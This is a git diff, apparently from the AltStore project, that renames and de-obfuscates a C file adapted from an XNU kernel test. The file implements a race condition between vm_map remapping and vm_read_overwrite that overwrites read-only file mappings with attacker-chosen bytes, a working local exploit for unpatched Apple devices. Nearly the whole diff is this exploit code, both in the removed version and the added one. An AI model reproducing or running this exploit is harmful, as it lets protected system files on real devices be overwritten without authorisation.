b) -#define T_EXPECT_MACH_ERROR(a, b, c) -#define T_ASSERT_MACH_SUCCESS(a, b, ...) -#define T_ASSERT_MACH_ERROR(a, b, c) -#define T_ASSERT_POSIX_SUCCESS(a, b) -#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) -#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) -#define T_ASSERT_TRUE(a, b, ...) -#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) -#define T_DECL(a, b) static void a(void) -#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) - -struct contextual_structure { - vm_size_t ob_sizing; - vm_address_t vmaddress_zeroe; - mach_port_t memory_entry_r_o; - mach_port_t memory_entry_r_w; - dispatch_semaphore_t currently_active_sem; - pthread_mutex_t mutex_thingy; - volatile bool finished; -}; - -//switcheroo_thread -static void * -sro_thread(__unused void *arg) -{ - kern_return_t kr; - struct contextual_structure *ctx; - - ctx = (struct contextual_structure *)arg; - /* tell main thread we're ready to run */ - dispatch_semaphore_signal(ctx->currently_active_sem); - while (!ctx->finished) { - /* wait for main thread to be done setting things up */ - pthread_mutex_lock(&ctx->mutex_thingy); - if (ctx->finished) { - pthread_mutex_unlock(&ctx->mutex_thingy); - break; - } - /* switch e0 to RW mapping */ - kr = vm_map(mach_task_self(), - &ctx->vmaddress_zeroe, - ctx->ob_sizing, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, - ctx->memory_entry_r_w, - 0, - FALSE, /* copy */ - VM_PROT_READ | VM_PROT_WRITE, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); - /* wait a little bit */ - usleep(100); - /* switch bakc to original RO mapping */ - kr = vm_map(mach_task_self(), - &ctx->vmaddress_zeroe, - ctx->ob_sizing, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, - ctx->memory_entry_r_o, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); - /* tell main thread we're don switching mappings */ - pthread_mutex_unlock(&ctx->mutex_thingy); - usleep(100); - } - return NULL; -} - -//unaligned_copy_switch_race -bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) { - bool retval = false; - pthread_t th = NULL; - int ret; - kern_return_t kr; - time_t start, duration; -#if 0 - mach_msg_type_number_t cow_read_size; -#endif - vm_size_t copied_size; - int loops; - vm_address_t e2, e5; - struct contextual_structure context1, *ctx; - int kern_success = 0, kern_protection_failure = 0, kern_other = 0; - vm_address_t ro_addr, tmp_addr; - memory_object_size_t mo_size; - - ctx = &context1; - ctx->ob_sizing = 256 * 1024; - - void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file); - if (file_mapped == MAP_FAILED) { -// fprintf(stderr, "failed to map\n"); - return false; - } - if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) { -// fprintf(stderr, "already the same?\n"); - munmap(file_mapped, ctx->ob_sizing); - return true; - } - ro_addr = (vm_address_t)file_mapped; - - ctx->vmaddress_zeroe = 0; - ctx->currently_active_sem = dispatch_semaphore_create(0); - //c=dispatch_semaphore_create - T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd"); - ret = pthread_mutex_init(&ctx->mutex_thingy, NULL); - T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); - ctx->finished = false; - ctx->memory_entry_r_w = MACH_PORT_NULL; - ctx->memory_entry_r_o = MACH_PORT_NULL; -#if 0 - /* allocate our attack target memory */ - kr = vm_allocate(mach_task_self(), - &ro_addr, - ctx->ob_sizing, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); - /* initialize to 'A' */ - memset((char *)ro_addr, 'A', ctx->ob_sizing); -#endif - - /* make it read-only */ - kr = vm_protect(mach_task_self(), - ro_addr, - ctx->ob_sizing, - TRUE, /* set_maximum */ - VM_PROT_READ); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); - /* make sure we can't get read-write handle on that target memory */ - mo_size = ctx->ob_sizing; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - ro_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, - &ctx->memory_entry_r_o, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); - /* take read-only handle on that target memory */ - mo_size = ctx->ob_sizing; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - ro_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ, - &ctx->memory_entry_r_o, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); - //c= wrong mem_entry size - T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu"); - /* make sure we can't map target memory as writable */ - tmp_addr = 0; - kr = vm_map(mach_task_self(), - &tmp_addr, - ctx->ob_sizing, - 0, /* mask */ - VM_FLAGS_ANYWHERE, - ctx->memory_entry_r_o, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); - tmp_addr = 0; - kr = vm_map(mach_task_self(), - &tmp_addr, - ctx->ob_sizing, - 0, /* mask */ - VM_FLAGS_ANYWHERE, - ctx->memory_entry_r_o, - 0, - FALSE, /* copy */ - VM_PROT_READ | VM_PROT_WRITE, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); - - /* allocate a source buffer for the unaligned copy */ - kr = vm_allocate(mach_task_self(), - &e5, - ctx->ob_sizing * 2, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); - /* initialize to 'C' */ - memset((char *)e5, 'C', ctx->ob_sizing * 2); - - char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1); - memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data); - - int overwrite_first_diff_offset = -1; - char overwrite_first_diff_value = 0; - for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) { - if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { - overwrite_first_diff_offset = off; - overwrite_first_diff_value = ((char*)ro_addr)[off]; - } - } - if (overwrite_first_diff_offset == -1) { - //b=no diff? - fprintf(stderr, "uewiyfih"); - return false; - } - - /* - * get a handle on some writable memory that will be temporarily - * switched with the read-only mapping of our target memory to try - * and trick copy_unaligned to write to our read-only target. - */ - tmp_addr = 0; - kr = vm_allocate(mach_task_self(), - &tmp_addr, - ctx->ob_sizing, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); - /* initialize to 'D' */ - memset((char *)tmp_addr, 'D', ctx->ob_sizing); - /* get a memory entry handle for that RW memory */ - mo_size = ctx->ob_sizing; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - tmp_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, - &ctx->memory_entry_r_w, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); - //c=wrong mem_entry size - T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow"); - kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); - tmp_addr = 0; - - pthread_mutex_lock(&ctx->mutex_thingy); - - /* start racing thread */ - ret = pthread_create(&th, NULL, sro_thread, (void *)ctx); - T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); - - /* wait for racing thread to be ready to run */ - dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER); - - duration = 10; /* 10 seconds */ -// T_LOG("Testing for %ld seconds...", duration); - for (start = time(NULL), loops = 0; - time(NULL) < start + duration; - loops++) { - /* reserve space for our 2 contiguous allocations */ - e2 = 0; - kr = vm_allocate(mach_task_self(), - &e2, - 2 * ctx->ob_sizing, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); - - /* make 1st allocation in our reserved space */ - kr = vm_allocate(mach_task_self(), - &e2, - ctx->ob_sizing, - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); - /* initialize to 'B' */ - memset((char *)e2, 'B', ctx->ob_sizing); - - /* map our read-only target memory right after */ - ctx->vmaddress_zeroe = e2 + ctx->ob_sizing; - kr = vm_map(mach_task_self(), - &ctx->vmaddress_zeroe, - ctx->ob_sizing, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), - ctx->memory_entry_r_o, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); - - /* let the racing thread go */ - pthread_mutex_unlock(&ctx->mutex_thingy); - /* wait a little bit */ - usleep(100); - - /* trigger copy_unaligned while racing with other thread */ - kr = vm_read_overwrite(mach_task_self(), - e5, - ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data, - e2 + 1, - &copied_size); - T_QUIET; - T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, - "vm_read_overwrite kr %d", kr); - switch (kr) { - case KERN_SUCCESS: - /* the target was RW */ - kern_success++; - break; - case KERN_PROTECTION_FAILURE: - /* the target was RO */ - kern_protection_failure++; - break; - default: - /* should not happen */ - kern_other++; - break; - } - /* check that our read-only memory was not modified */ -#if 0 - //c = RO mapping was modified - T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq"); -#endif - bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; - - /* tell racing thread to stop toggling mappings */ - pthread_mutex_lock(&ctx->mutex_thingy); - - /* clean up before next loop */ - vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing); - ctx->vmaddress_zeroe = 0; - vm_deallocate(mach_task_self(), e2, ctx->ob_sizing); - e2 = 0; - if (!is_still_equal) { - retval = true; -// fprintf(stderr, "RO mapping was modified\n"); - break; - } - } - - ctx->finished = true; - pthread_mutex_unlock(&ctx->mutex_thingy); - pthread_join(th, NULL); - - kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); - kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); - kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); - kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); - -//#if 0 -// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", -// kern_success, kern_protection_failure, kern_other); -// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); -//#endif - return retval; -} -#endif /* MDC */ diff --git a/AltStore/MDC/vm_unaligned_copy_switch_race.c b/AltStore/MDC/vm_unaligned_copy_switch_race.c new file mode 100644 index 00000000..040b9707 --- /dev/null +++ b/AltStore/MDC/vm_unaligned_copy_switch_race.c @@ -0,0 +1,364 @@ +#ifdef MDC +// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c +// modified to compile outside of XNU + +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include "vm_unaligned_copy_switch_race.h" + +#define T_QUIET +#define T_EXPECT_MACH_SUCCESS(a, b) +#define T_EXPECT_MACH_ERROR(a, b, c) +#define T_ASSERT_MACH_SUCCESS(a, b, ...) +#define T_ASSERT_MACH_ERROR(a, b, c) +#define T_ASSERT_POSIX_SUCCESS(a, b) +#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_TRUE(a, b, ...) +#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) +#define T_DECL(a, b) static void a(void) +#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) + +struct context1 { + vm_size_t obj_size; + vm_address_t e0; + mach_port_t mem_entry_ro; + mach_port_t mem_entry_rw; + dispatch_semaphore_t running_sem; + pthread_mutex_t mtx; + volatile bool done; +}; + +static void * +switcheroo_thread(__unused void *arg) +{ + kern_return_t kr; + struct context1 *ctx; + + ctx = (struct context1 *)arg; + /* tell main thread we're ready to run */ + dispatch_semaphore_signal(ctx->running_sem); + while (!ctx->done) { + /* wait for main thread to be done setting things up */ + pthread_mutex_lock(&ctx->mtx); + if (ctx->done) { + pthread_mutex_unlock(&ctx->mtx); + break; + } + /* switch e0 to RW mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_rw, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); + /* wait a little bit */ + usleep(100); + /* switch bakc to original RO mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); + /* tell main thread we're don switching mappings */ + pthread_mutex_unlock(&ctx->mtx); + usleep(100); + } + return NULL; +} + +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { + bool retval = false; + pthread_t th = NULL; + int ret; + kern_return_t kr; + time_t start, duration; +#if 0 + mach_msg_type_number_t cow_read_size; +#endif + vm_size_t copied_size; + int loops; + vm_address_t e2, e5; + struct context1 context1, *ctx; + int kern_success = 0, kern_protection_failure = 0, kern_other = 0; + vm_address_t ro_addr, tmp_addr; + memory_object_size_t mo_size; + + ctx = &context1; + ctx->obj_size = 256 * 1024; + + void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); + if (file_mapped == MAP_FAILED) { + fprintf(stderr, "failed to map\n"); + return false; + } + if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { + fprintf(stderr, "already the same?\n"); + munmap(file_mapped, ctx->obj_size); + return true; + } + ro_addr = (vm_address_t)file_mapped; + + ctx->e0 = 0; + ctx->running_sem = dispatch_semaphore_create(0); + T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); + ret = pthread_mutex_init(&ctx->mtx, NULL); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); + ctx->done = false; + ctx->mem_entry_rw = MACH_PORT_NULL; + ctx->mem_entry_ro = MACH_PORT_NULL; +#if 0 + /* allocate our attack target memory */ + kr = vm_allocate(mach_task_self(), + &ro_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); + /* initialize to 'A' */ + memset((char *)ro_addr, 'A', ctx->obj_size); +#endif + + /* make it read-only */ + kr = vm_protect(mach_task_self(), + ro_addr, + ctx->obj_size, + TRUE, /* set_maximum */ + VM_PROT_READ); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); + /* make sure we can't get read-write handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); + /* take read-only handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + /* make sure we can't map target memory as writable */ + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + + /* allocate a source buffer for the unaligned copy */ + kr = vm_allocate(mach_task_self(), + &e5, + ctx->obj_size * 2, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); + /* initialize to 'C' */ + memset((char *)e5, 'C', ctx->obj_size * 2); + + char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); + memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); + + int overwrite_first_diff_offset = -1; + char overwrite_first_diff_value = 0; + for (int off = 0; off < overwrite_length; off++) { + if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { + overwrite_first_diff_offset = off; + overwrite_first_diff_value = ((char*)ro_addr)[off]; + } + } + if (overwrite_first_diff_offset == -1) { + fprintf(stderr, "no diff?\n"); + return false; + } + + /* + * get a handle on some writable memory that will be temporarily + * switched with the read-only mapping of our target memory to try + * and trick copy_unaligned to write to our read-only target. + */ + tmp_addr = 0; + kr = vm_allocate(mach_task_self(), + &tmp_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); + /* initialize to 'D' */ + memset((char *)tmp_addr, 'D', ctx->obj_size); + /* get a memory entry handle for that RW memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + tmp_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_rw, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); + tmp_addr = 0; + + pthread_mutex_lock(&ctx->mtx); + + /* start racing thread */ + ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); + + /* wait for racing thread to be ready to run */ + dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + + duration = 10; /* 10 seconds */ + T_LOG("Testing for %ld seconds...", duration); + for (start = time(NULL), loops = 0; + time(NULL) < start + duration; + loops++) { + /* reserve space for our 2 contiguous allocations */ + e2 = 0; + kr = vm_allocate(mach_task_self(), + &e2, + 2 * ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); + + /* make 1st allocation in our reserved space */ + kr = vm_allocate(mach_task_self(), + &e2, + ctx->obj_size, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); + /* initialize to 'B' */ + memset((char *)e2, 'B', ctx->obj_size); + + /* map our read-only target memory right after */ + ctx->e0 = e2 + ctx->obj_size; + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); + + /* let the racing thread go */ + pthread_mutex_unlock(&ctx->mtx); + /* wait a little bit */ + usleep(100); + + /* trigger copy_unaligned while racing with other thread */ + kr = vm_read_overwrite(mach_task_self(), + e5, + ctx->obj_size - 1 + overwrite_length, + e2 + 1, + &copied_size); + T_QUIET; + T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, + "vm_read_overwrite kr %d", kr); + switch (kr) { + case KERN_SUCCESS: + /* the target was RW */ + kern_success++; + break; + case KERN_PROTECTION_FAILURE: + /* the target was RO */ + kern_protection_failure++; + break; + default: + /* should not happen */ + kern_other++; + break; + } + /* check that our read-only memory was not modified */ +#if 0 + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); +#endif + bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; + + /* tell racing thread to stop toggling mappings */ + pthread_mutex_lock(&ctx->mtx); + + /* clean up before next loop */ + vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); + ctx->e0 = 0; + vm_deallocate(mach_task_self(), e2, ctx->obj_size); + e2 = 0; + if (!is_still_equal) { + retval = true; + fprintf(stderr, "RO mapping was modified\n"); + break; + } + } + + ctx->done = true; + pthread_mutex_unlock(&ctx->mtx); + pthread_join(th, NULL); + + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); + kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); + +#if 0 + T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", + kern_success, kern_protection_failure, kern_other); + T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); +#endif + return retval; +} +#endif /* MDC */ diff --git a/AltStore/MDC/vm_unalign_csr.h b/AltStore/MDC/vm_unaligned_copy_switch_race.h similarity index 73% rename from AltStore/MDC/vm_unalign_csr.h rename to AltStore/MDC/vm_unaligned_copy_switch_race.h index d3bfec59..22ffae6d 100644 --- a/AltStore/MDC/vm_unalign_csr.h +++ b/AltStore/MDC/vm_unaligned_copy_switch_race.h @@ -6,5 +6,5 @@ /// `file_to_overwrite` should be a file descriptor opened with O_RDONLY. /// `overwrite_length` must be less than or equal to `PAGE_SIZE`. /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. -bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data); +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); #endif /* MDC */